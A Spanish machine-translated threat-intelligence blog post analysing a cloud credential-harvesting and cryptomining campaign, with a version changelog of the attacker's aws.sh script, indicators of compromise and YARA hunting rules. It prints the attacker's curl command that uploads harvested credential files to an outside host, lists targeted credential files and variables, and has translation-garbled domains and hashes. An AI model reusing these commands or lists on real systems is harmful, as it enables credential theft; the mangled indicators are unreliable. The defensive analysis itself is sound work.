Los desarrolladores no son las únicas personas que han adoptado la metodología ágil para sus procesos de desarrollo. Del 15 de junio de 2023 al 11 de julio de 2023, el equipo de p0 Labs de Permiso Security identificó y rastreó a un atacante que desarrollaba e implementaba ocho (8) iteraciones incrementales de su malware de recolección de credenciales mientras continuaba desarrollando infraestructura para un próximo (spoiler: ahora lanzado). ) campaña dirigida a varios servicios en la nube.
Mientras que la semana pasada Aqua Security publicado un blog que detalla las etapas de esta campaña en desarrollo relacionadas con imágenes de Docker infectadas, hoy Laboratorios Permiso p0 y Laboratorios centinela están publicando una investigación conjunta que destaca las actualizaciones incrementales de las credenciales de la nube que recopilan muestras de malware recopiladas sistemáticamente mediante el monitoreo de la infraestructura del atacante. Así que levántese de sus asientos y disfrute de esta reunión de scrum dedicada a compartir conocimientos sobre la campaña de estos actores y las herramientas que utilizarán para robar más credenciales de la nube.
Si le gustan las capturas de pantalla de IDA en sus blogs de análisis, asegúrese de consultar Laboratorios centinela¡Acepta esta campaña!
Campañas anteriores
Ha habido muchas campañas en las que los actores han utilizado herramientas similares para realizar extracción de credenciales en la nube y al mismo tiempo implementar masivamente software de criptominería. Como recordatorio, en diciembre, el equipo de Permiso informó los detalles de un actor. Dirigido al público Notebooks Juptyer con este conjunto de herramientas.
Nuestros amigos de Cado también han informado extensamente sobre campañas anteriores.
Campaña activa
El 11 de julio de 2023, mientras preparábamos el lanzamiento de este blog sobre el conjunto de herramientas en desarrollo, el actor inició su campaña.
El archivo b.sh es el script de inicialización que descarga e implementa la funcionalidad completa del conjunto de herramientas. Las características principales son instalar una puerta trasera para un acceso continuo, implementar utilidades de minería de criptomonedas y buscar y difundir a otros sistemas vulnerables.
Actualmente (12 de julio de 2023), hay 39 sistemas comprometidos en esta campaña:
¿Qué hay de nuevo?
Las utilidades de recolección de credenciales en la nube de esta campaña tienen algunas diferencias notables con respecto a las versiones anteriores. Los siguientes son los aspectos más destacados de las modificaciones:
- Soporte multinube:
- Se agregó soporte para GCP
- GCLOUD_CREDS_FILES=(“config_sentinel” “gce” “.last_survey_prompt.yaml” “config_default” “active_config” “credentials.db” “access_tokens.db” “.last_update_check.json” “.last_opt_in_prompt.yaml” “.feature_flags_config.yaml” ” adc.json” “recurso.cache”)
- Se agregó soporte de Azure al buscar y extraer credenciales de cualquier archivo llamado azure.json
- Numerosos cambios estructurales y sintácticos resaltan el cambio de la orientación de AWS a la nube múltiple:
- Matrices de nombres de archivos confidenciales divididas por servicio en la nube:
- CRED_FILE_NAMES → AWS_CREDS_FILES, AZURE_CREDS_FILES y GCLOUD_CREDS_FILES
- Nombres de funciones genéricos:
- enviar_aws_data → enviar_datos
- Encabezados de la sección de salida modificados:
- INFORMACIÓN → INFORMACIÓN DE AWS
- IAM → DATOS DE USUARIO IAM
- EC2 → EC2 DATOS DE USUARIO
- Archivos de destino: Se agregó “kubeconfig” “adc.json” “azure.json” “clusters.conf” “docker-compose.yaml” “.env” a la variable CRED_FILE_NAMES. redis.conf.not.exist agregado con una variable MIXED_CREDFILES.
- Nuevo rizo: Se cambió de la función de descarga (“curl sin curl”) a descargar el binario curl preparado para eventualmente usar el binario curl nativo.
- CLI de AWS: aws sts get-caller-identity para validar las credenciales de la nube y la información de identidad
- Infraestructura: La mayoría de las campañas anteriores alojaron servicios públicos y C2 en un solo dominio. En esta campaña, el actor utiliza varios FQDN (incluido un disfraz notable de instancia EC2: ap-northeast-1.compute.internal.anondns[.]neto).
- Numerosos elementos de la infraestructura y el código del actor dan peso a que el autor sea un hablante nativo de alemán (además del hecho de que la herramienta de código abierto TeamTNT ya tiene muchos elementos alemanes en su código).
- Una de las versiones intermedias de aws.sh hacía referencia al FQDN ap-northeast-1.compute.internal.anondns[.]net, que devolvió el mensaje de error alemán Fehler! ¡¡¡Vergleiche bitte die Authentifizierungsmerkmale in beiden Scripten!!! (¡que se traduce como Error! ¡Compare las funciones de autenticación en ambos scripts!) cuando lo visite un análisis de VirusTotal el 23 de junio de 2023:
- Una búsqueda en Google del mensaje de error anterior revela un único resultado de un foro alemán del 8 de octubre de 2008 (https://administrator.de/tutorial/upload-von-dateien-per-batch-curl-und-php-auf-einen-webserver-ohne-ftp-98399.html) que contiene código para un cargador de archivos PHP llamado upload.php donde la autenticación fallida bloquea la declaración de error exacta del eco. El nombre de archivo upload.php también era el URI para las versiones 2 y 3 de aws.sh del atacante, y el comando curl del atacante (que se muestra a continuación) contiene una sintaxis de argumento única idéntica al comando de ejemplo en la misma publicación del foro.
- Los últimos asentimientos alemanes están en los argumentos del comando curl. El indicador más evidente es el argumento Datei= en las versiones 2-8 de aws.sh, ya que “Datei” es la palabra alemana para “archivo”. La observación más sutil está en la contraseña codificada (oeireopüigreigroei) en las versiones 2 y 3 de aws.sh, específicamente la presencia del único carácter no latino: ü.
send_data()
curl -F "username=jegjrlgjhdsgjh" -F "password=oeireopüigreigroei" -F \
"Datei=@"$CSOF"" -F "Send=1" <https://everlost.anondns.net/upload.php>
Tanto el nombre de usuario como la contraseña son indicativos de una ejecución del teclado: el nombre de usuario en las teclas de la fila de inicio y la contraseña en las teclas de la fila superior. Sin embargo, dado que todos los demás caracteres son latinos, el escenario probable que produciría una única ü es el uso de un teclado virtual. Dado que la ü sigue inmediatamente a la letra p en la contraseña, los únicos dos diseños de teclado virtual que contienen una ü adyacente al carácter p son para los idiomas estonio y alemán.
Ciclo de vida del desarrollo del atacante
El seguimiento de la infraestructura de este atacante a lo largo de un mes ha proporcionado al equipo de Permiso información sobre el proceso de desarrollo del actor y las modificaciones realizadas en cada iteración. ¡Qué mejor manera de mostrarlo que con un registro de cambios! El siguiente es un registro de cambios de las actualizaciones incrementales realizadas en la utilidad de recolección de credenciales aws.sh:
# v1(28165d28693ca807fb3d4568624c5ba9) -> v2(b9113ccc0856e5d44bab8d3374362a06)
[*] updated function name from int_main() to run_aws_grabber() (though not executed in script)
[*] updated function name from send_aws_data() to send_data()
[*] updated function name from files_aws() to cred_files()
[*] updated function name from docker_aws() to get_docker() with similar functionality
[*] split env_aws() function's logic into three (3) new functions: get_aws_infos(), get_aws_meta(), get_aws_env()
[+] added function get_awscli_data() which executes aws sts get-caller-identity command
[+] added two (2) functions with new functionality (returning contents of sensitive file names and environment variables): get_azure(), get_google()
[-] removed strings_proc_aws function containing strings /proc/*/env* | sort -u | grep 'AWS|AZURE|KUBE' command enumerating environment variables
[-] removed ACF file name array (though all values except .npmrc, cloud and credentials.gpg were already duplicated in CRED_FILE_NAMES array)
[+] added new empty AZURE_CREDS_FILES file name array (though not used in script)
[+] added new AWS_CREDS_FILES file name array (though not used in script) with the following values moved from CRED_FILE_NAMES file name array: credentials, .s3cfg, .passwd-s3fs, .s3backer_passwd, .s3b_config, s3proxy.conf
[+] added new GCLOUD_CREDS_FILES file name array (though not used in script) with the following net new values: config_sentinel, gce, .last_survey_prompt.yaml, config_default, active_config, credentials.db, .last_update_check.json, .last_opt_in_prompt.yaml, .feature_flags_config.yaml, resource.cache
[+] added copy of duplicate values access_tokens.db and adc.json from CRED_FILE_NAMES file name array to GCLOUD_CREDS_FILES file name array
[+] added netrc, kubeconfig, adc.json, azure.json, env, clusters.conf, grafana.ini and an empty string to CRED_FILE_NAMES file name array
[-] removed credentials.db from CRED_FILE_NAMES file name array
[-] removed dload function (downloader capability, i.e. "curl without curl")
[+] added commented dload function invocation for posting final results
[+] added commented wget command to download and execute https://everlost.anondns[.]net/cmd/tmate.sh
[*] replaced execution of dload function with native curl binary
[*] replaced references to /tmp/.curl with native curl binary
[-] removed base64 encoding of final results
[+] added username and password to curl command: "username=jegjrlgjhdsgjh" "password=oeireopüigreigroei"
[*] updated URI for posting final results from /in.php?base64=$SEND_B64_DATA to /upload.php
[*] renamed LOCK_FILE from /tmp/...aws4 to /tmp/..a.l$(echo $RANDOM)
[-] removed rm -f $LOCK_FILE command
[-] removed history -cw command (clear history list and overwrite history file) at end of script
[*] converted numerous long commands into shorter multi-line syntax-------
# v2(b9113ccc0856e5d44bab8d3374362a06) -> v3(d9ecceda32f6fa8a7720e1bf9425374f)
[+] added execution of previously unused run_aws_grabber() function
[+] added function get_prov_vars with nearly identical strings /proc/*/env* command found in previously removed strings_proc_aws function (though with previous grep 'AWS|AZURE|KUBE' command removed)
[+] added logic to search for files listed in previously unused file name arrays: AWS_CREDS_FILES, GCLOUD_CREDS_FILES
[+] added new file name array MIXED_CREDFILES=("redis.conf") (though not used in script)
[+] added docker-compose.yaml to CRED_FILE_NAMES file name array
[*] updated env to .env in CRED_FILE_NAMES file name array
[-] removed config from AWS_CREDS_FILES file name array
[*] updated echo output section header from INFO to AWS INFO
[*] updated echo output section header from IAM to IAM USERDATA
[*] updated echo output section header from EC2 to EC2 USERDATA
[-] removed commented dload function invocation for posting final results
-------
# v3(d9ecceda32f6fa8a7720e1bf9425374f) -> v4(0855b8697c6ebc88591d15b954bcd15a)
[*] replaced strings /proc/*/env* command with cat /proc/*/env* command in get_prov_vars function
[*] updated username and password to curl command from "username=jegjrlgjhdsgjh" "password=oeireopüigreigroei" to "username=1234" -F "password=5678"
[*] updated FQDN for posting final results from everlost.anondns[.]net to ap-northeast-1.compute.internal.anondns[.]net (masquerading as AWS EC2 instance FQDN)
[*] updated URI for posting final results from /upload.php to /insert/keys.php
-------
# v4(0855b8697c6ebc88591d15b954bcd15a) -> v5(f7df739f865448ac82da01b3b1a97041)
[*] updated FQDN for posting final results from ap-northeast-1.compute.internal.anondns[.]net to silentbob.anondns[.]net
[+] added SRCURL variable to store FQDN (later expanded in final curl command's URL)
[+] added if type aws logic to only execute run_aws_grabber function if AWS CLI binary is present
-------
# v5(f7df739f865448ac82da01b3b1a97041) -> v6(1a37f2ef14db460e5723f3c0b7a14d23)
[*] updated redis.conf to redis.conf.not.exist in MIXED_CREDFILES file name array
[*] updated LOCK_FILE variable from /tmp/..a.l$(echo $RANDOM) to /tmp/..a.l
-------
# v6(1a37f2ef14db460e5723f3c0b7a14d23) -> v7(99f0102d673423c920af1abc22f66d4e)
[-] removed grafana.ini from CRED_FILE_NAMES file name array
-------
# v7(99f0102d673423c920af1abc22f66d4e) -> v8(5daace86b5e947e8b87d8a00a11bc3c5)
[-] removed MIXED_CREDFILES file name array
[+] added new file name array DBS_CREDFILES=("postgresUser.txt" "postgresPassword.txt")
[+] added awsAccessKey.txt and awsKey.txt to AWS_CREDS_FILES file name array
[+] added azure.json to AZURE_CREDS_FILES file name array (already present in CRED_FILE_NAMES file name array)
[+] added hostname command output to final result
[+] added curl -sLk ipv4.icanhazip.com -o- command output to final result
[+] added cat /etc/ssh/sshd_config | grep 'Port '|awk 'print $2' command output to final result
[*] updated LOCK_FILE variable from /tmp/..a.l to /tmp/..pscglf_
Infraestructura del atacante
Los actores que utilizan herramientas TeamTNT modificadas como esta tienen tendencia a utilizar el servicio de alojamiento Nice VPS. Esta campaña no es una excepción en ese sentido. El actor ha registrado al menos cuatro (4) dominios para esta campaña a través de anondns, todos menos uno apuntan actualmente a la dirección IP de Nice VPS 45.9.148.108. El dominio everfound.anondns.net actualmente se resuelve en la dirección IP 207.154.218.221
Los dominios actualmente involucrados en esta campaña son:
Dominio | visto por primera vez |
---|---|
everlost.anondns[.]neto | 2023-06-11 10:35:09UTC |
ap-noreste-1.compute.internal.anondns[.]neto | 2023-06-16 15:24:16UTC |
silenciobob.anondns[.]neto | 2023-06-24 16:53:46UTC |
everfound.anondns[.]neto | 2023-07-02 21:07:50UTC |
Si bien la mayoría de las actividades recientes de desarrollo de atacantes se han producido en silentbob.anondns.net, consideramos que el dominio enmascarado de AWS ap-northeast-1.compute.internal.anondns.net es el más interesante, pero Jay y Silent Bob aportan mucho. Mejor portada del blog para respetar la elección del atacante en los FQDN.
Indicadores
Indicador | Tipo | Notas |
---|---|---|
everlost.anondns[.]neto | Dominio | |
ap-noreste-1.compute.internal.anondns[.]neto | Dominio | |
silenciobob.anondns[.]neto | Dominio | |
everfound.anondns[.]neto | Dominio | |
207.154.218[.]221 | IPv4 | |
45.9.148[.]108 | IPv4 | |
28165d28693ca807fb3d4568624c5ba9 | MD5 | aws.sh v1 |
b9113ccc0856e5d44bab8d3374362a06 | MD5 | aws.sh v2 |
d9ecceda32f6fa8a7720e1bf9425374f | MD5 | aws.sh v3 |
0855b8697c6ebc88591d15b954bcd15a | MD5 | aws.sh v4 |
f7df739f865448ac82da01b3b1a97041 | MD5 | aws.sh v5 |
1a37f2ef14db460e5723f3c0b7a14d23 | MD5 | aws.sh v6 |
99f0102d673423c920af1abc22f66d4e | MD5 | aws.sh v7 |
5daace86b5e947e8b87d8a00a11bc3c5 | MD5 | aws.sh v8 (grab.sh) |
92d6cc158608bcec74cf9856ab6c94e5 | MD5 | usuario.sh |
cfb6d7788c94857ac5e9899a70c710b6 | MD5 | int.sh |
7044a31e9cd7fdbf10e6beba08c78c6b | MD5 | limpio.sh |
58b92888443cfb8a4720645dc3dc9809 | MD5 | xc3.sh |
f60b75dsordo9703277bb2dc36c0f114b | MD5 | b.sh (instalar script) |
2044446e6832577a262070806e9bf22c | MD5 | charlar |
c2465e78a5d11afd74097734350755a4 | MD5 | rizo.completo |
f13b8eedde794e2a9a1e87c3a2b79bf4 | MD5 | tmate.sh |
87c8423e0815d6467656093bff9aa193 | MD5 | a |
9e174082f721092508df3f1aae3d6083 | MD5 | correr.sh |
203fe39ff0e59d683b36d056ad64277b | MD5 | escaneo masivo |
2514cff4dbfd6b9099f7c83fc1474a2d | MD5 | |
dafac2bc01806db8bf19ae569d85deae | MD5 | datos.sh |
43Lfq18TycJHVR3AMews5C9f6SEfenZoQMcrsEeFXZTWcFW9jW7VeCySDm1L9n4d2JEoHjcDpWZFq6QzqN4QGHYZVaALj3U | Billetera | |
hxxp://silentbob.anondns.net/insert/metadata.php | URL |
Detecciones
rule P0_Hunting_AWS_CredFileNames_1
meta:
description = "Detecting presence of scripts searching for numerous AWS credential file names"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$credFileAWS_01 = "credentials"
$credFileAWS_02 = ".s3cfg"
$credFileAWS_03 = ".passwd-s3fs"
$credFileAWS_04 = ".s3backer_passwd"
$credFileAWS_05 = ".s3b_config"
$credFileAWS_06 = "s3proxy.conf"
$credFileAWS_07 = "awsAccessKey.txt"
$credFileAWS_08 = "awsKey.txts"
$fileSearchCmd = "find "
$fileAccessCmd_01 = "cat "
$fileAccessCmd_02 = "strings "
$fileAccessCmd_03 = "cp "
$fileAccessCmd_04 = "mv "
condition:
(3 of ($credFileAWS*)) and $fileSearchCmd and (any of ($fileAccessCmd*))
rule P0_Hunting_AWS_EnvVarNames_1 {
meta:
description = "Detecting presence of scripts searching for numerous environment variables containing sensitive AWS credential information. Explicitly excluding LinPEAS (and its variants) to remove noise since it is already well-detected."
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$shellHeader_01 = "#!/bin/sh"
$shellHeader_02 = "#!/bin/bash"
$envVarAWSPrefixSyntax_01 = "$AWS_"
$envVarAWSPrefixSyntax_02 = "$AWS_"
$envVarAWS_01 = "AWS_ACCESS_KEY_ID"
$envVarAWS_02 = "AWS_SECRET_ACCESS_KEY"
$envVarAWS_03 = "AWS_SESSION_TOKEN"
$envVarAWS_04 = "AWS_SHARED_CREDENTIALS_FILE"
$envVarAWS_05 = "AWS_CONFIG_FILE"
$envVarAWS_06 = "AWS_DEFAULT_REGION"
$envVarAWS_07 = "AWS_REGION"
$envVarAWS_08 = "AWS_EC2_METADATA_DISABLED"
$envVarEcho = "then echo "
$linPEAS_01 = "#-------) Checks pre-everything (---------#"
$linPEAS_02 = "--) FAST - Do not check 1min of procceses and su brute"
condition:
(any of ($shellHeader*)) and (1 of ($envVarAWSPrefixSyntax*)) and (4 of ($envVarAWS*)) and (#envVarEcho >= 4) and not (all of ($linPEAS*))
rule P0_Hunting_AWS_SedEnvVarExtraction_1 "
$awsCliConfigureCmd = "aws configure set aws_"
$sedPropAWS_01 = "sed 's# "AccessKeyId" : "#\n\naws configure set aws_access_key_id #g'"
$sedPropAWS_02 = "sed 's# "SecretAccessKey" : "#aws configure set aws_secret_access_key #g'"
$sedPropAWS_03 = "sed 's# "Token" : "#aws configure set aws_session_token #g'"
$sedPropAWS_04 = "sed 's# "Expiration" : "#\n\nExpiration : #g'"
condition:
all of them
rule P0_Hunting_Azure_EnvVarNames_1 {
meta:
description = "Detecting presence of scripts searching for numerous environment variables containing sensitive Azure credential information"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$envVarAzurePrefixSyntax_01 = "$AZURE_"
$envVarAzurePrefixSyntax_02 = "$AZURE_"
$envVarAzure_01 = "AZURE_CREDENTIAL_FILE"
$envVarAzure_02 = "AZURE_GUEST_AGENT_CONTAINER_ID"
$envVarAzure_03 = "AZURE_CLIENT_ID"
$envVarAzure_04 = "AZURE_CLIENT_SECRET"
$envVarAzure_05 = "AZURE_TENANT_ID"
$envVarAzure_06 = "AZURE_SUBSCRIPTION_ID"
$envVarEcho = "then echo "
condition:
(1 of ($envVarAzurePrefixSyntax*)) and (3 of ($envVarAzure*)) and (#envVarEcho >= 3)
rule P0_Hunting_GCP_CredFileNames_1
meta:
description = "Detecting presence of scripts searching for numerous Google Cloud Platform (GCP) credential file names. Explicitly excluding LinPEAS (and its variants) to remove noise since it is already well-detected."
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$shellHeader_01 = "#!/bin/sh"
$shellHeader_02 = "#!/bin/bash"
$credFileGCP_01 = "active_config"
$credFileGCP_02 = "gce"
$credFileGCP_03 = ".last_survey_prompt.yaml"
$credFileGCP_04 = ".last_opt_in_prompt.yaml"
$credFileGCP_05 = ".last_update_check.json"
$credFileGCP_06 = ".feature_flags_config.yaml"
$credFileGCP_07 = "config_default"
$credFileGCP_08 = "config_sentinel"
$credFileGCP_09 = "credentials.db"
$credFileGCP_10 = "access_tokens.db"
$credFileGCP_11 = "adc.json"
$credFileGCP_12 = "resource.cache"
$fileSearchCmd = "find "
$fileAccessCmd_01 = "cat "
$fileAccessCmd_02 = "strings "
$fileAccessCmd_03 = "cp "
$fileAccessCmd_04 = "mv "
$linPEAS_01 = "#-------) Checks pre-everything (---------#"
$linPEAS_02 = "--) FAST - Do not check 1min of procceses and su brute"
condition:
(any of ($shellHeader*)) and (5 of ($credFileGCP*)) and $fileSearchCmd and (any of ($fileAccessCmd*)) and not (all of ($linPEAS*))
rule P0_Hunting_GCP_EnvVarNames_1 {
meta:
description = "Detecting presence of scripts searching for numerous environment variables containing sensitive GCP credential information"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$shellHeader_01 = "#!/bin/sh"
$shellHeader_02 = "#!/bin/bash"
$envVarGCPPrefixSyntax_01 = "$GOOGLE_"
$envVarGCPPrefixSyntax_02 = "$GOOGLE_"
$envVarGCP_01 = "GOOGLE_API_KEY"
$envVarGCP_02 = "GOOGLE_DEFAULT_CLIENT_ID"
$envVarGCP_03 = "GOOGLE_DEFAULT_CLIENT_SECRET"
$envVarEcho = "then echo "
condition:
(any of ($shellHeader*)) and (1 of ($envVarGCPPrefixSyntax*)) and (2 of ($envVarGCP*)) and (#envVarEcho >= 2)
rule P0_Hunting_Common_CredFileNames_1
meta:
description = "Detecting presence of scripts searching for numerous common credential file names. Explicitly excluding LinPEAS (and its variants) to remove noise since it is already well-detected."
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$shellHeader_01 = "#!/bin/sh"
$shellHeader_02 = "#!/bin/bash"
$credFileCommon_01 = "authinfo2"
$credFileCommon_02 = "access_tokens.db"
$credFileCommon_03 = ".smbclient.conf"
$credFileCommon_04 = ".smbcredentials"
$credFileCommon_05 = ".samba_credentials"
$credFileCommon_06 = ".pgpass"
$credFileCommon_07 = "secrets"
$credFileCommon_08 = ".boto"
$credFileCommon_09 = "netrc"
$credFileCommon_10 = ".git-credentials"
$credFileCommon_11 = "api_key"
$credFileCommon_12 = "censys.cfg"
$credFileCommon_13 = "ngrok.yml"
$credFileCommon_14 = "filezilla.xml"
$credFileCommon_15 = "recentservers.xml"
$credFileCommon_16 = "queue.sqlite3"
$credFileCommon_17 = "servlist.conf"
$credFileCommon_18 = "accounts.xml"
$credFileCommon_19 = "kubeconfig"
$credFileCommon_20 = "adc.json"
$credFileCommon_21 = "clusters.conf"
$credFileCommon_22 = "docker-compose.yaml"
$credFileCommon_23 = ".env"
$fileSearchCmd = "find "
$fileAccessCmd_01 = "cat "
$fileAccessCmd_02 = "strings "
$fileAccessCmd_03 = "cp "
$fileAccessCmd_04 = "mv "
$linPEAS_01 = "#-------) Checks pre-everything (---------#"
$linPEAS_02 = "--) FAST - Do not check 1min of procceses and su brute"
condition:
(any of ($shellHeader*)) and (10 of ($credFileCommon*)) and $fileSearchCmd and (any of ($fileAccessCmd*)) and not (all of ($linPEAS*))
rule P0_Hunting_Common_TeamTNT_CredHarvesterOutputBanner_1
meta:
description = "Detecting presence of known credential harvester scripts (commonly used by TeamTNT) containing specific section banner output commands"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$sectionBanner_01 = "-------- AWS INFO ------------------------------------------"
$sectionBanner_02 = "-------- EC2 USERDATA -------------------------------------------"
$sectionBanner_03 = "-------- GOOGLE DATA --------------------------------------"
$sectionBanner_04 = "-------- AZURE DATA --------------------------------------"
$sectionBanner_05 = "-------- IAM USERDATA -------------------------------------------"
$sectionBanner_06 = "-------- AWS ENV DATA --------------------------------------"
$sectionBanner_07 = "-------- PROC VARS -----------------------------------"
$sectionBanner_08 = "-------- DOCKER CREDS -----------------------------------"
$sectionBanner_09 = "-------- CREDS FILES -----------------------------------"
condition:
(5 of them)
rule P0_Hunting_Common_TeamTNT_CredHarvesterTypo_1 {
meta:
description = "Detecting presence of known credential harvester scripts (commonly used by TeamTNT) containing common typo for 'CREFILE' variable name (assuming intended name is 'CREDFILE' since it is iterating file names in input array"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$varNameTypo = "for CREFILE in $ xargs -I % sh -c 'echo :::%; cat %' >> $"
condition:
all of them
rule P0_Hunting_Common_TeamTNT_CredHarvesterTypo_2
meta:
description = "Detecting presence of known credential harvester scripts (commonly used by TeamTNT) containing common typo for 'get_prov_vars' function name (assuming intended name is 'get_proc_vars' since it is outputting process variables"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_02 = "0855b8697c6ebc88591d15b954bcd15a"
md5_03 = "f7df739f865448ac82da01b3b1a97041"
md5_04 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_05 = "99f0102d673423c920af1abc22f66d4e"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$funcNameTypo = "get_prov_vars"
$fileAccess_01 = "cat "
$fileAccess_02 = "strings "
$envVarFilePath = " /proc/*/env*"
condition:
$funcNameTypo and (any of ($fileAccess*)) and $envVarFilePath
rule P0_Hunting_Common_TeamTNT_CurlArgs_1
meta:
description = "Detecting presence of known credential harvester scripts (commonly used by TeamTNT) containing common curl arguments including 'Datei' (German word for 'file') and specific 'Send=1' arguments found in German blog post https://administrator.de/tutorial/upload-von-dateien-per-batch-curl-und-php-auf-einen-webserver-ohne-ftp-98399.html which details using curl (with these specific arguments) to upload files to upload.php"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$curlFileArgGerman = ""Datei=@""
$curlArgSend = " -F "Send=1" "
$curlArgUsername = " -F "username="
$curlArgPassword = " -F "password="
condition:
all of them
Nota: Este artículo fue escrito y contribuido de manera experta por el investigador de Permiso, Abian Morina.